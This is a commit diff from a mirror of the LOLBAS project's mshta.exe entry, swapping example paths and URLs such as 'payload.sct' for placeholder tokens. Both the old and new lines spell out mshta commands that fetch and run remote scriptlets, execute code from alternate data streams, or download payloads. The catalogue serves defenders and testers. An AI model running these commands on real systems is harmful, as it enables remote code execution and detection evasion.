mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2025-07-27 04:32:24 +02:00
@@ -4,7 +4,7 @@ Description: Used by Windows to execute html applications. (.hta)
|
||||
Author: Oddvar Moe
|
||||
Created: 2018-05-25
|
||||
Commands:
|
||||
- Command: mshta.exe evilfile.hta
|
||||
- Command: mshta.exe {PATH:.hta}
|
||||
Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
|
||||
Usecase: Execute code
|
||||
Category: Execute
|
||||
@@ -14,7 +14,7 @@ Commands:
|
||||
Tags:
|
||||
- Execute: HTA
|
||||
- Execute: Remote
|
||||
- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:https://webserver/payload.sct"")"))
|
||||
- Command: mshta.exe vbscript:Close(Execute("GetObject(""script:{REMOTEURL:.sct}"")"))
|
||||
Description: Executes VBScript supplied as a command line argument.
|
||||
Usecase: Execute code
|
||||
Category: Execute
|
||||
@@ -23,7 +23,7 @@ Commands:
|
||||
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
||||
Tags:
|
||||
- Execute: VBScript
|
||||
- Command: mshta.exe javascript:a=GetObject("script:https://webserver/payload.sct").Exec();close();
|
||||
- Command: mshta.exe javascript:a=GetObject("script:{REMOTEURL:.sct}").Exec();close();
|
||||
Description: Executes JavaScript supplied as a command line argument.
|
||||
Usecase: Execute code
|
||||
Category: Execute
|
||||
@@ -32,7 +32,7 @@ Commands:
|
||||
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
|
||||
Tags:
|
||||
- Execute: JScript
|
||||
- Command: mshta.exe "C:\ads\file.txt:file.hta"
|
||||
- Command: mshta.exe "{PATH_ABSOLUTE}:file.hta"
|
||||
Description: Opens the target .HTA and executes embedded JavaScript, JScript, or VBScript.
|
||||
Usecase: Execute code hidden in alternate data stream
|
||||
Category: ADS
|
||||
@@ -41,7 +41,7 @@ Commands:
|
||||
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10 (Does not work on 1903 and newer)
|
||||
Tags:
|
||||
- Execute: HTA
|
||||
- Command: mshta.exe https://example.com/payload
|
||||
- Command: mshta.exe {REMOTEURL}
|
||||
Description: It will download a remote payload and place it in INetCache.
|
||||
Usecase: Downloads payload from remote server
|
||||
Category: Download
|
||||
|
Reference in New Issue
Block a user